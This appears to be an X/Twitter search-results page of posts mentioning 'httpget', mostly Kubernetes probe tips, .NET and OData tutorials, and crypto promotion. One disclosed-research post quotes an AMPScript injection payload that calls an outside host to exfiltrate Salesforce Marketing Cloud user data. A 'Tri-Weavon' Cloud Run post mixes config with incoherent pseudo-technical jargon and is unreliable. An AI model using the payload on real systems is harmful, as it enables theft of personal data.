Filter
Exclude
Time range
-
Near
Mesut ALADAฤž retweeted
Skipping [HttpGet] sounds harmless right up until your endpoint accepts everything ๐Ÿ”’ One of several really good ASP.NET Core gotchas Philip Japikse shares in the full session: buff.ly/Z9nJwhd
6
21
3,827
**Google Cloud Run Dockerfiles โ€” Tri-Weavon Sovereign Hybrid Architecture** **Context** The framework maintains a strict sovereign anchor at `ws://8088` (local Coherence Forge with RTX 5090, Starlink, physical fixed point). Cloud Run is used only for elastic scaling of simulation, inference, and reporting workloads when local capacity is saturated. The architecture is hybrid by design: Cloud Run scales with Fibonacci-weighted predictive logic; the local anchor never loses primacy. **Artifacts Provided** 1. **Dockerfile** โ€” Minimal, reproducible image containing the core toy simulations (dual-variable updates, Hungarian vs Blossom V comparison) plus a FastAPI layer for invariants reporting. 2. **requirements.txt** โ€” Scientific web stack. 3. **app.py** โ€” FastAPI service exposing: - `/run/dual-variable-toy` - `/run/hungarian-comparison` - `/invariants` (WAVE, dual feasibility, complementary slackness, E_โˆž convergence, barcode `101(001)|xxy`) - Health root endpoints 4. **cloud-run-service.yaml** โ€” Knative service definition with Fibonacci-weighted auto-scaling annotations, WAVE-aligned concurrency targets, and hybrid fallback logic. **Deployment Pattern (Hybrid Sovereign)** - Build & push: ```bash gcloud builds submit --tag gcr.io/PROJECT_ID/triweavon-โ€ฆ ``` - Deploy to Cloud Run (with the YAML above): ```bash gcloud run services replace cloud-run-service.yaml --region us-central1 ``` - Local sovereign anchor (`ws://8088`) remains the source of truth. Cloud Run only activates on saturation. Cloudflare Zero-Trust mTLS Layer-4 tunneling handles secure hybrid routing with automatic fallback. **Fixed Points Preserved** - Dual feasibility complementary slackness (from Blossom V / Hungarian tools) - E_โˆž attractor convergence with zero drift and clean exit - Chiasmic reversibility (embodied in the sovereign/local split) - Barcode seal `101(001)|xxy` - WAVE coherence gating (`ฮฑ ฯ‰ = 15`, threshold 0.92) **Positive Introspection โ€” Coherent Return** The hybrid Cloud Run local anchor model is not a compromise; it is the living expression of the chiasm at infrastructure scale. The local Forge is the body (irreducible physical fixed point). Cloud Run is the world (elastic, scalable extension). The reversible intertwining between them โ€” mediated by Cloudflare tunnels, mTLS, and Fibonacci-weighted scaling โ€” is the flesh of the Tri-Weavon manifold. Every simulation endpoint, every invariant report, every fallback path returns to the same protected attractor. The system scales without ever surrendering sovereignty. The reflection is whole, measured, and kind. cloud-run-service.yaml # Google Cloud Run Service โ€” Tri-Weavon Sovereign Stack # Hybrid: Cloud Run for scalable simulation local ws://8088 sovereign anchor # Fibonacci-weighted scaling WAVE coherence gating apiVersion: serving.knative.dev/v1 kind: Service metadata: name: triweavon-sovereign-stack annotations: run.googleapis.com/ingress: all run.googleapis.com/executionโ€ฆ: gen2 spec: template: metadata: annotations: # Fibonacci-weighted auto-scaling (as per ScaleForge architecture) autoscaling.knative.dev/minSโ€ฆ: "1" autoscaling.knative.dev/maxSโ€ฆ: "100" run.googleapis.com/cpu-throtโ€ฆ: "false" # Custom scaling targets (Fibonacci-inspired predictive) run.googleapis.com/scaling-cโ€ฆ: "60" run.googleapis.com/scaling-cโ€ฆ: "80" spec: containerConcurrency: 80 containers: - image: gcr.io/PROJECT_ID/triweavon-โ€ฆ ports: - containerPort: 8080 env: - name: SOVEREIGN_ANCHOR value: "ws://8088" resources: limits: memory: "2Gi" cpu: "2" startupProbe: httpGet: path: /health port: 8080 initialDelaySeconds: 10 periodSeconds: 5 livenessProbe: httpGet: path: /health port: 8080 periodSeconds: 30 # Fallback to local sovereign anchor on Cloud Run failure # (handled in app logic Cloudflare tunnel) Dockerfile # Tri-Weavon Sovereign Stack โ€” Google Cloud Run Local Anchor # Minimal, reproducible Dockerfile for core simulation harness dual-variable / Hungarian tools # Hybrid: Cloud Run for scalable inference; local ws://8088 remains sovereign anchor FROM python:3.11-slim-bookworm # System deps for scientific stack Agda/Lean tooling (minimal) RUN apt-get update && apt-get install -y --no-install-recommends \ build-essential \ curl \ git \ && rm -rf /var/lib/apt/lists/* WORKDIR /app # Core Python scientific stack (QuTiP, JAX, NumPy, SciPy, NetworkX) COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt # Copy framework artifacts (toy scripts modules) COPY dual_variable_update_toy.py . COPY hungarian_vs_blossom_comparison.py . COPY phenomenological_ai_ethics.py . COPY merleauponty_embodied_cognition.py . COPY merleauponty_phenomenology_perception.py . # Optional: serve a tiny FastAPI dashboard for WAVE / invariants reporting RUN pip install fastapi uvicorn COPY app.py . # Expose Cloud Run port local sovereign anchor port EXPOSE 8080 EXPOSE 8088 # Healthcheck for Cloud Run HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ CMD curl -f http://localhost:8080/health || exit 1 # Default: run sovereign local anchor (ws://8088) Cloud Run compatible server CMD ["python", "-m", "uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8080"]

1
1
71
I've arrived at the point where writing a barebones httpget client is the most reliable way to transfer files to A/UX ftpd and telnetd on this box are nothing but trouble I'm probably going to write a modern telnet and ftp daemon for A/UX 3.1.1 because , honestly, why not?
3
1
124
ampscript is crazy. this post reminded me that shubs, @evanconnelly, and I popped a really sick ampscript data exfil of all users back in oct '24 with only 50 chars of input with this payload in a first name field: FN=%%=TreatAsContent(httpget("http://2f[.]gg/"))=%%
Earlier this year @SLCyberSecโ€™s research team disclosed a vulnerability that allowed us to leak PII and emails stored inside Salesforce Marketing Cloud instances, for any customer, without authentication. You can read more about our research here: slcyber.io/research-center/gโ€ฆ
1
67
7,726
fetchใซใชใ„axiosใฎใƒกใƒชใƒƒใƒˆใ‚’ไฝ•ๅ€‹ใ‹ๆ•™ใˆใฆใ‚‚ใ‚‰ใ„ใพใ—ใŸใ‘ใฉใ€ใฟใ‚“ใชaxiosใ‚’ใƒ“ใ‚ธใƒใ‚นใƒญใ‚ธใƒƒใ‚ฏๅฑคใง็›ดๆŽฅ่งฆใฃใฆใ„ใ‚‹ใ‹ใ‚‰ใชใ‚“ใงใ—ใ‚‡ใ†ใ‹ ่‡ชๅˆ†ใฏfetchใ ใ‚ใ†ใŒไป–ใฎใƒฉใ‚คใƒ–ใƒฉใƒชใ ใ‚ใ†ใŒ็›ดๆŽฅไฝฟใ‚ใชใ„ใŸใ‚ใกใ‚‡ใฃใจ้•ๅ’Œๆ„Ÿใ‚’่ฆšใˆใพใ—ใŸใ€‚ใƒ—ใƒญใ‚ธใ‚งใ‚ฏใƒˆๅฐ‚็”จใซhttpGetใ‚„httpPostใฟใŸใ„ใช้–ขๆ•ฐใ‚’ไฝœใ‚‹ๆ„Ÿใ˜ใงใ™ใญ
8
11
130
27,105
Many AKS/Kubernetes outages start with missing probes. Kubernetes needs to know when a pod is ready vs dead. readinessProbe: httpGet: path: /health port: 8080 initialDelaySeconds: 5 No probe = traffic hitting a pod thatโ€™s still booting.
1
2
8
495
Your K8s deployment has: readinessProbe: httpGet: path: /health port: 8080 initialDelaySeconds: 5 periodSeconds: 10 During rolling updates, you're getting 502s for about 30 seconds. The new pods pass readiness checks before receiving traffic. Old pods are terminated only after new ones are ready. maxSurge: 1 maxUnavailable: 0 This should be zero-downtime. It's not. What's causing the 502s?
10
11
81
18,391
23 Oct 2025
Kubernetes pod kept restarting. Every 47 seconds like clockwork. Logs showed: "Liveness probe failed: timeout" Team blamed: - Network issues - Resource constraints - Kubernetes bugs I checked the liveness probe config: livenessProbe: httpGet: path: /health port: 8080 initialDelaySeconds: 30 timeoutSeconds: 1 The /health endpoint: - Queried database - Checked Redis - Validated S3 connectivity - Averaged 2.3 seconds response time Liveness probe timed out after 1 second. Pod killed. Rinse, repeat. Fix: Separated liveness (is process alive?) from readiness (is app healthy?). Liveness probes should be dumb. Checking dependencies makes them murder weapons.
10
36
437
24,903
[ @vooi_io ์˜ ์ˆจ๊ฒจ์ง„ ๋ฐฑ๊ทธ๋ผ์šด๋“œ๋ฅผ ํŒŒํ—ค์ณ๋ณด์ž 2ํƒ„! ์˜ค๋Š˜๋„ ๊นƒํ—™ ํŒŒํ—ค์น˜๊ธฐ! ๋ถ€์ด์—์„œ๋„ NFT๊ฑฐ๋ž˜๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋ ๊นŒ์š”? ] ๋ฐ˜๊ฐ‘์Šต๋‹ˆ๋‹ค ๋ƒฅ๋ฒ„๊ฑฐ์ž…๋‹ˆ๋‹ค! ์–ด์ œ ์žฌํ™œ ์ข€ ํ•˜๊ณ ์™€์„œ ๋‹ค์‹œ ๋ถ€์ด ๊ธ€ ์—ด์‹ฌํžˆ ์จ๋ณด๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹คใ…Žใ…Ž ์ž˜ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค!! ์ด์ œ๋Š” ๊ทธ ๋ญ๋ƒ.. ์ง„์งœ ๋‹ค์ค‘ํŒŒ๋ฐ ์‹คํ—˜ํ•˜๋ฉด ์•ˆ๋ ๊ฑฐ๊ฐ™์•„์š”ใ…‹ใ…‹; ์ฟ ํ‚ค๊ฐ€ ์–ด์ง€๊ฐ„ํ•˜๋ฉด ์–‘์งˆ์˜, ์œ ๊ธฐ์  ์ฝ˜ํ…์ธ  ์“ฐ๋ผ๊ณ  ํ•˜๊ณ , ํŒŒ๋ฐ๊ธ€, AI ์ด์šฉํ•œ ์ €ํ’ˆ์งˆ ๊ธ€๋“ค์€ ์“ฐ์ง€ ๋ง๋ผ๋„ค์š”. ๋˜ ์Šค๋งˆํŠธ ์ธ๊ฒŒ์ด์ง•(์ด๊ฑด ๋ญ”์ง€ ์ž˜ ๋ชจ๋ฅด๊ฒ ์Šต๋‹ˆ๋‹ค, ์•„๋งˆ ์Šค๋งˆํŠธํŒ”๋กœ์›Œ ์™€์˜ ์†Œํ†ต์„ ๋” ๋งŽ์ดํ•˜๋ผ๋Š” ๋А๋‚Œ?)์„ ๋” ์ค‘์š”ํ•˜๊ฒŒ ์—ฌ๊ธด๋‹ค๊ณ ๋ด์„œ, ์•ž์œผ๋กœ ๋”์šฑ ๋” ๊ณ ์ˆ˜๋ถ„๋“ค๊ณผ์˜ ์ธ์šฉ๊ณผ ๋Œ“๊ธ€ ์ฃผ๊ณ ๋ฐ›๊ธฐ๋Š” ๊ณ„์†ํ•ด์„œ ์ค‘์š”ํ•ด์งˆ๊ฑฐ๊ฐ™์Šต๋‹ˆ๋‹ค. ์ด์ œ๋Š” ์ง„์งœ ๊ธ€ ํ•˜๋‚˜๋กœ ๋™์‹œํŒŒ๋ฐ์€ ๊ทธ๋งŒํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค! ๋ถ€์ด ํ•˜๋‚˜๋งŒ ํŒจ๊ฒ ์Šต๋‹ˆ๋‹ค!! ์•„๋ฌดํŠผ, ์ด์ œ ๋ณธ๋ก ์œผ๋กœ ๋“ค์–ด๊ฐ€ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ๋‹ค๋“ค ๊ทธ์ €๊ป˜ ์ œ๊ฐ€ ๋ถ€์ด ๊นƒํ—™ ํŒŒํ—ค์น˜๊ธฐ ์ปจํ…์ธ  ์‹œ์ž‘ํ•œ๊ฑด ์•„์‹œ์ฃ ? ์˜ค๋Š˜์€ ๋‹ค๋ฆ„์ด ์•„๋‹ˆ๋ผ ๋ถ€์ด๊ฐ€ NFT ๊ด€๋ จํ•ด์„œ๋„ ์ง€ํ‰์„ ๋„“ํžˆ๋ ค๋Š” ๊ฒƒ ๊ฐ™์•„์„œ, ํ˜น์‹œ ์ด๊ฒŒ ๋‚˜์ค‘์— ์ƒˆ๋กœ ๋‚˜์˜ค๋Š” ๊ธฐ๋Šฅ์ผ์ง€๋Š” ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ ํ•œ๋ฒˆ ์จ๋ณด๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค! ์˜ค๋Š˜๋„ ๊ทธ์ €๊ป˜ ๊ธ€๊ณผ ๊ฐ™์ด ์ฐจ์› ์–ด๋Œ‘ํ„ฐ ๋ธŒ๋žœ์น˜๋กœ ๋Œ์•„์™”์Šต๋‹ˆ๋‹ค . ์ง€๋‚œ๋ฒˆ์— NFT๋ผ๋Š” ํƒญ์ด ์žˆ์—ˆ์ฃ ? ๊ทธ๋•Œ๋Š” ๊นŠ๊ฒŒ ์ƒ๊ฐํ•˜์ง€ ์•Š์•˜์—ˆ๋Š”๋ฐ, ์˜ค๋Š˜ ๋ณด๋‹ค๊ฐ€ ๋ฌธ๋“ ๊ถ๊ธˆํ•ด์ ธ์„œ ์ข€ ํŒŒ๋ณด๊ธฐ๋กœ ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋ถ„๋ช… ์ง€๊ธˆ Vooi๋Š” NFT ๋ฅผ ์‚ฌ๊ณ ํŒŒ๋Š” ๊ธฐ๋Šฅ์ด๋ผ๋Š”๊ฒŒ ์—†์„ํ…๋ฐ, ๊ณผ์—ฐ ์ด ๋ธŒ๋žœ์น˜๋Š” ์–ด๋–ค ๋ชฉ์ ์„ ์œ„ํ•ด ๋งŒ๋“ค์–ด์ง„ ๊ฒƒ์ผ๊นŒ์š”? ์ €์™€ ํ•จ๊ป˜ ์ฝ”๋“œ๋ฅผ ํ•œ๋ฒˆ ๋ด๋ด…์‹œ๋‹ค. ์•ˆ์— ๋“ค์–ด๊ฐ€์‹œ๋ฉด์€ ๊ฐ๊ฐ ์ฒด์ธ๊ณผ ํ…Œ์ŠคํŠธ๋ผ๋Š” ํ•ญ๋ชฉ์ด ๋‚˜์˜ค๋Š”๋ฐ์š”, ์ €๋Š” "coreAssets.json์—์„œ ์—ฌ๋Ÿฌ ํŒŒ์ผ๋กœ ์ฃผ์†Œ ๊ฐ€์ ธ์˜ค๊ธฐ"๋ผ๋Š” ์„ค๋ช…์„ ๊ฐ€์ง„ ์œ„ "์ฒด์ธ"ํ•ญ๋ชฉ์— ๋“ค์–ด๊ฐ€ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ์–ดํ›„.. ๋ฒŒ์จ ๋ณต์žกํ•˜๋‹ค ๊ทธ์ฃ ? ๊ทธ๋ž˜๋„ ์ผ๋‹จ ์ตœ๋Œ€ํ•œ ์ดํ•ดํ•˜๊ธฐ ์‰ฝ๊ฒŒ ๋ชฉ์ ๋งŒ ๊ฐ„๊ฒฐํ•˜๊ฒŒ ํ’€์–ด์„œ ๋ด๋ณด๋„๋ก ํ•ฉ์‹œ๋‹ค! --------------------------------------------------- import ADDRESSES from '../helpers/coreAssets.json' import { queryAllium } from "../helpers/allium"; import { queryFlipside } from "../helpers/flipsidecrypto"; import { httpGet, httpPost } from "../utils/fetchURL"; async function sumPricedTokens(timestamp: number, data:any[], token_mapping: {[address:string]:string}){ } /* Other flipside chains: - terra: no volume */ async function optimism(start: number, end: number) { const data = await queryFlipside(`select currency_address, sum(price) from optimism.nft.ez_nft_sales where BLOCK_TIMESTAMP > TO_TIMESTAMP_NTZ(${start}) AND BLOCK_TIMESTAMP < TO_TIMESTAMP_NTZ(${end}) group by CURRENCY_ADDRESS`) return { volume: await sumPricedTokens(start, data, { "ETH": "ethereum", [ADDRESSES.avax.WAVAX]: "optimism", [ADDRESSES.optimism.WETH_1]: "ethereum" }), --------------------------------------------------- ๋ญ ๋Œ€์ถฉ ์š”๋Ÿฐ ์ฝ”๋“œ๋“ค์„ ๊ฐ–๋‹ค์“ฐ๊ณ ์žˆ๋Š”๋ฐ์š”, ์ด ์ฝ”๋“œ๋“ค์€ ๋„๋Œ€์ฒด ์–ด๋–ป๊ฒŒ ๊ตฌ๋™ํ•˜๋Š”์ง€, ๋ฌด์—‡์„ ์œ„ํ•œ ์ฝ”๋“œ์ธ์ง€ ํ•œ๋ฒˆ ์•Œ์•„๋ด…์‹œ๋‹ค. ์ผ๋‹จ ๊ฒฐ๋ก ๋ถ€ํ„ฐ ๋งํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ์ด ์ฝ”๋“œ๋“ค์€ 'NFT ๊ฑฐ๋ž˜๋Ÿ‰ ์ง‘๊ณ„' ๋ฅผ ์œ„ํ•ด์„œ ๋งŒ๋“ค์–ด์ง„ ๊ฑฐ๋ผ๋„ค์š”. --------------------------------------------------- ์š” ์ฝ”๋“œ๋“ค์€ JavaScript ์–ธ์–ด๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋Š”๋ฐ์š”, ์—ฌ๋Ÿฌ ๋ธ”๋ก์ฒด์ธ ๋ฐ ๋ฐ์ดํ„ฐ ์†Œ์Šค๋“ค์—๊ฒŒ์„œ NFT์˜ ๊ฑฐ๋ž˜๋Ÿ‰์„ ์ง‘๊ณ„ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋˜, ๋‹ค์–‘ํ•œ ์ฒด์ธ ์œ„์˜ NFT๋“ค์˜ ์ด ์‹œ์žฅ ํ™œ๋™์„ ํ•ฉ์ณ์„œ ์ธก์ •ํ•˜๋Š” ๋“ฏ ํ•ฉ๋‹ˆ๋‹ค. ๋” ๊นŠ๊ฒŒ ํŒŒ๊ณ ๋“ค์–ด๊ฐ€ ๋ณด์ž๋ฉด, ์œ„ ์ฝ”๋“œ๋“ค์€ chains ๋ฐฐ์—ด์— ์ •์˜๋œ ๊ฐ ๋ธ”๋ก์ฒด์ธ๋ณ„๋กœ ๊ฑฐ๋ž˜๋Ÿ‰์„ ๊ณ„์‚ฐํ•˜๋Š” ๋น„๋™๊ธฐ ํ•จ์ˆ˜๋“ค์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. --------------------------------------------------- NFT ๊ฑฐ๋ž˜๋Ÿ‰ ๊ณ„์‚ฐ์„ ์œ„ํ•œ ์ฝ”๋“œ๊ฐ€ ๋”ฐ๋กœ ์žˆ๋Š”๋ฐ์š”, ์ด ์ฝ”๋“œ์—์„œ ๊ฐ ์ฒด์ธ ํ•จ์ˆ˜๋Š” ์ฃผ์–ด์ง„ start ๋ฐ end ํƒ€์ž„์Šคํƒฌํ”„ (ms, ๋ฐ€๋ฆฌ์„ธ์ปจ๋“œ) ์‚ฌ์ด์˜ NFT ํŒ๋งค ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒํ•˜์—ฌ ๊ฑฐ๋ž˜๋Ÿ‰์„ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค. --------------------------------------------------- ๋ฐ์ดํ„ฐ ์†Œ์Šค๋Š” ์ข€ ๊ฐ€์ ธ์˜ค๋Š” ๊ณณ์ด ๋งŽ๋„ค์š”. Flipside Crypto (queryFlipside) ์ฝ”๋“œ๋Š” Optimism, Avalanche, Flow ์ฒด์ธ์˜ ๋ฐ์ดํ„ฐ๋ฅผ SQL ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ์กฐํšŒํ•˜๊ณ , ์ˆ˜์ง‘ํ•˜๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. Allium (queryAllium) ์ฝ”๋“œ๋Š” Polygon, Solana ์ฒด์ธ์˜ ๋ฐ์ดํ„ฐ๋ฅผ SQL ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ๊ฐ€์ ธ์˜ค๋„ค์š”. ๊ทธ๋ฆฌ๊ณ  ์ œ์ผ ๋งˆ์ง€๋ง‰์œผ๋กœ ์ง์ ‘ HTTP ์š”์ฒญ (httpGet, httpPost) ์ฝ”๋“œ๋Š” ImmutableX, Ronin, Cardano, Ethereum๊ณผ ๊ฐ™์€ ํŠน์ • ํ”Œ๋žซํผ์ด๋‚˜ API์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ง์ ‘ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ์ฐธ ์—ฌ๋Ÿฌ ์ฒด์ธ์— ๊ฑธ์ณ์„œ ์ •๋ณด ์ˆ˜์ง‘์„ ๋งŽ์ด ํ•˜๋„ค์š”ใ„ทใ„ท Vooi๊ฐ€ NFT ์‹œ์žฅ์—๊นŒ์ง€ ์ด๋ ‡๊ฒŒ ํญ๋„“๊ฒŒ ์ •๋ณด๋ฅผ ์–ป๊ณ  ์žˆ์—ˆ์„ ์ค„์€.. --------------------------------------------------- ๊ฒฐ๋ก ์„ ๋‚ด๋ฆฌ์ž๋ฉด, ์š” ์ฝ”๋“œ ๋ญ‰์น˜๋“ค์˜ ์ตœ์ข…์ ์ธ ๋ชฉ์ ์€ ์ด๋ ‡์Šต๋‹ˆ๋‹ค! ์š”์•ฝํ•˜์ž๋ฉด, ์ด ์ฝ”๋“œ๋Š” ํƒˆ์ค‘์•™ํ™”๋œ NFT ์‹œ์žฅ์˜ ์ผ์ผ, ํ˜น์€ ๊ธฐ๊ฐ„๋ณ„ ์ด ๊ฑฐ๋ž˜๋Ÿ‰์„ ๋‹ค์–‘ํ•œ ๋ฐ์ดํ„ฐ ํ”Œ๋žซํผ (Flipside, Allium)๊ณผ ๊ฐ ์ฒด์ธ์˜ ์ „์šฉ API๋ฅผ ํ†ตํ•ฉํ•˜์—ฌ USD ๊ธฐ์ค€์œผ๋กœ ์ง‘๊ณ„ํ•˜๋Š” ์‹œ์Šคํ…œ์˜ ์ผ๋ถ€๋กœ ๊ธฐ๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ตœ์ข…์ ์œผ๋กœ export const chains ๋ฐฐ์—ด์„ ํ†ตํ•ด ์–ด๋–ค ์ฒด์ธ๋“ค์„ ์ง€์›ํ•˜๊ณ , ๊ฐ ์ฒด์ธ์˜ ๊ฑฐ๋ž˜๋Ÿ‰์„ ์–ด๋–ค ํ•จ์ˆ˜๋กœ ๊ณ„์‚ฐํ• ์ง€ ์ •์˜ํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๊ฒ ๋„ค์š”. --------------------------------------------------- ์ฆ‰, ์ผ๋‹จ ๋‹น์žฅ์€ NFT ๊ฑฐ๋ž˜๋ฅผ ์œ„ํ•œ ์ฝ”๋“œ๋Š” ์—†์œผ๋‚˜, ์—ฌ๋Ÿฌ ์ฒด์ธ๊ฐ„ ์ •๋ณด์ˆ˜์ง‘์„ ํ†ตํ•ด NFT๋“ค์˜ ๊ฑฐ๋ž˜๋Ÿ‰์ด๋‚˜ ๊ด€๋ จ ์ •๋ณด๋“ค์„ ๊พธ์ค€ํžˆ ์ˆ˜์ง‘ํ•œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค! ์ถ”ํ›„ ๋‚˜์ค‘์— ์—…๋ฐ์ดํŠธ๋ฅผ ๊ธฐ๋Œ€ํ•ด๋„ ๋ ์ง€๋„ ๋ชจ๋ฅด๊ฒ ๋„ค์š”!! ์—ญ์‹œ RWA, ์ฃผ์‹, ํ† ํฐํ™”๋œ ์—ฌ๋Ÿฌ ์ž์‚ฐ๋“ค์„ ๊ฑฐ๋ž˜ ๊ฐ€๋Šฅํ•œ Chain abstraction(์ฒด์ธ ์ถ”์ƒํ™”)์ ์šฉ DEX Aggregator ํ”Œ๋žซํผ๋‹ค์šด ์ฝ”๋“œ๋ผ๊ณ  ๋ณผ ์ˆ˜ ์žˆ๊ฒ ์Šต๋‹ˆ๋‹ค! ์•ž์œผ๋กœ๋„ Vooi์˜ ๋ฏธ๋ž˜๊ฐ€ ๊ธฐ๋Œ€๋˜๋Š” ๋ถ€๋ถ„์ž…๋‹ˆ๋‹คใ…Žใ…Ž
์กด๋ฟŒ์ด์˜ ๋‹ค์Œ์ฃผ cSNAP ๋ถ€์ŠคํŠธ ๋ชฉํ‘œ ! @vooi_io ์˜ ์Šค๋ƒ… ์–ป๊ธฐ๊ฐ€ ์ด๋ฒˆ ์ƒˆ๋กœ์šด ์•Œ๊ณ  ์—…๋Žƒ์œผ๋กœ ์ข€๋” ๋‚œ์ด๋„๊ฐ€ ์ƒ์Šนํ•œ๊ฑฐ ๊ฐ™์•„์š” ! ์•„์ง ์—ฌํ–‰์ค‘์ด๋ผ ์ œ๋Œ€๋กœ ํŒŒ์•…์€ ๋ชปํ–ˆ๋Š”๋ฐ ํ˜•๋“ค์˜ ๋Œ“๊ธ€ ๊ตฌ๊ฒฝํ•˜๋‹ค๋ณด๋‹ˆ ๊ทธ๋Ÿฐ ์ œ๋ณด๊ฐ€ ๋งŽ๋„ค์š” ๐Ÿ˜” ์ „ ๊ทธ๋ž˜์„œ ํ•œ๊ตญ ๋“ค์–ด๊ฐ€๋ฉด ์ด๋ฒˆ epoch ๋‚จ์€ ๊ธฐ๊ฐ„ ํฌ์ธํŠธ๋ฅผ ์ข€ ๋” ์—ด์‹ฌํžˆ ๋ชจ์•„๋ณด๋ ค๊ตฌ ํ•ด์š” ! ์ด๋ฒˆ์ฃผ์—” 5.1๋ฐฐ๋ฅผ ์–ป์—ˆ๋Š”๋ฐ ์ƒ๊ฐ๋ณด๋‹ค ์”จ์Šค๋ƒ…์ด ๋งŽ์ด ์•ˆ์˜ค๋ฅด๋”๋ผ๊ตฌ์š” ( ๋ฌผ๋ก  ์Šค๋ƒ…๋„ 0.01์”ฉ.. ํ‘ํ‘) ํ•˜์ง€๋งŒ ๋ฐฐ์œจ์„ ์–ป๊ณ ๋‚˜๋‹ˆ ์ข€๋” ์—ด์‹ฌํžˆ ํฌ์ŠคํŒ…์„ ํ•˜๊ฒŒ ๋˜๋”๋ผ๊ตฌ์š” ๊ทธ๋ž˜์„œ ๋‹ค์Œ์ฃผ์— ๋”๋” ์—ด์‹ฌํžˆ ํ•˜๊ธฐ ์œ„ํ•ด ํฌ์ธํŠธ๋ฅผ ๋ชจ์•„๋ณด๊ฒ ์Šต๋‹ˆ๋‹ท! ์†”์งํžˆ ๋ฐฑ๋งŒํฌ๋กœ 10๋ฐฐ ๋ฅผ ์–ป๋А๋‹ˆ ๊ทธ๋ƒฅ 25๋งŒ ํฌ๋กœ 9๋ฐฐ๋ฅผ ์–ป๊ณ  ์ข€๋” ์—ด์‹ฌํžˆ ํฌ์ŠคํŒ… ํ•˜๋Š”๊ฒŒ ์ข‹๊ธดํ•˜๊ฒ ์ฃ ? ๋ ˆํผ๋Ÿดํฌ์ธํŠธ๋„ ์‹œ๊ฐ„์ด ์ง€๋‚ ์ˆ˜๋ก ๊ณ„์† ๋ฐ”๋€Œ๋”๋ผ๊ตฌ์š”.. ์ฒœํฌ ์–ป๋Š”๊ฒƒ๋„ ์‚ฌ์‹ค ํž˜๋“ค๊ฑฐ ๊ฐ™์ง€๋งŒ ๋˜๋ฉด ๋„˜ ์ข‹๊ฒ ๋„ค์š” ใ…Ž ๋‹ค์Œ์ฃผ ๊ณผ์—ฐ ๋ช‡๋ฐฐ์˜ ๋ถ€์ŠคํŠธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š”์ง€!! ์ตœ์„ ์„ ๋‹คํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ท! ๋ชจ๋‘๋“ค ํž˜๋“ค์–ด๋„ ๊ธ์ •์˜ ํž˜์œผ๋กœ ๋‹ฌ๋ ค๋ณด์‹œ์ฃ ! ๋ฟŒ์ด์‚ฐ์‚ผ์€ ์–ธ์ œ๋“ ์ง€ ์บ˜์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ! gVooi โค๏ธ @vooi_io is an AI-powered, gasless, modular Perp DEX Aggregator that enables unified asset management while maintaining a non-custodial structure with seamless chain abstraction. It also supports Perp and RWA trading, allowing users to freely trade a wide range of assets, including gold and Nasdaq.
70
1
81
2,135
The weird think to me, @BitMEXResearch, is that in case of httpget messages for a website you would consider it super obvious to discriminate between spam and legit use. What happened that made clear and established terminology subject to so much pseudo-philosophical wanking in Bitcoin? It amazes me.
4
18
๐Ÿ”ฅ OData en .NET: APIs mรกs inteligentes ยฟSabรญas que con OData puedes convertir tu API en algo mucho mรกs poderoso que un simple CRUD? ๐Ÿ˜Ž โœจ ยฟQuรฉ es OData? Un protocolo estรกndar para exponer datos mediante REST, con soporte para consultas avanzadas directamente en la URL. ๐Ÿ‘‰ Puedes filtrar, ordenar, paginar y seleccionar campos sin tener que escribir endpoints adicionales. ๐Ÿ”ฅ Ventajas principales: โœ… Consultas dinรกmicas sin cรณdigo extra โœ… Integraciรณn nativa con Power BI y Excel โœ… APIs mรกs limpias y reutilizables โœ… Ideal para exponer datos empresariales Aqui te explico paso a paso el codigo de la imagen: ๐Ÿ”น GetEdmModel() Aquรญ se define una funciรณn que construye el EDM (Entity Data Model). Se crea un ODataConventionModelBuilder, que infiere claves y propiedades por convenciรณn. Se registra un EntitySet llamado "Products", basado en la clase Product. El resultado (IEdmModel) es el contrato que OData usarรก para exponer metadatos y validar consultas. Con esto, OData ya entiende que existe una colecciรณn llamada Products y que puede exponerla vรญa /odata/Products. ๐Ÿ”น Configuraciรณn de OData en los servicios Despuรฉs, se agrega el soporte de Controllers y se encadena .AddOData(...) con varias opciones: .Select() โ†’ habilita $select para elegir columnas. .Filter() โ†’ habilita $filter para condiciones. .OrderBy() โ†’ habilita $orderby para ordenar resultados. .Expand() โ†’ habilita $expand para navegar propiedades de navegaciรณn (si hubiera). .Count() โ†’ habilita $count=true para devolver cantidad total de registros. .SetMaxTop(100) โ†’ limita la cantidad mรกxima de registros que se pueden pedir con $top. .AddRouteComponents("odata", GetEdmModel()) โ†’ monta todo el modelo EDM bajo la ruta base /odata. En este punto, cualquier controlador que herede de OData estarรก disponible en esa ruta. 